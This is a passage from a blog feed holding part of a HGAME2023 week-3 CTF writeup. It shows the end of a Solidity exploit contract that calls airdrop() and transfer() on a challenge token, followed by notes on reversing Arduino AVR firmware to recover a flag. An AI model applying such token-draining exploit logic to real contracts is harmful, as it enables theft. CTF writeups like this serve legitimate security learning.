VidarToken(target_addr);</span><br><span class="line">        target.airdrop();</span><br><span class="line">        target.transfer(contract_addr,10);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="iot"><a href="#iot" class="headerlink" title="iot"></a>iot</h2><h3 id="another-UNO"><a href="#another-UNO" class="headerlink" title="another UNO"></a>another UNO</h3><p>hex2bin后直接用ida逆，选avr series，atmega323_l，发现程序0x3d6位置似乎有digitalWrite的操作，将参数视作二进制得到flag的后面部分1s_Fun}，前面实在逆不出了找了块arduino uno把程序烧进去了，9600波特率串口输出了中间部分的ascii码rduino_，前面hgame{A是猜的（（</p>]]></content>
    
    
    <summary type="html">HGAME2023 week3 writeup by 没有头猪</summary>
    
    
    
    <category term="writeups" scheme="https://zqy.ink/categories/writeups/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="HGAME2023" scheme="https://zqy.ink/tags/HGAME2023/"/>
    
    <category term="wp" scheme="https://zqy.ink/tags/wp/"/>
    
  </entry>
  
</feed>
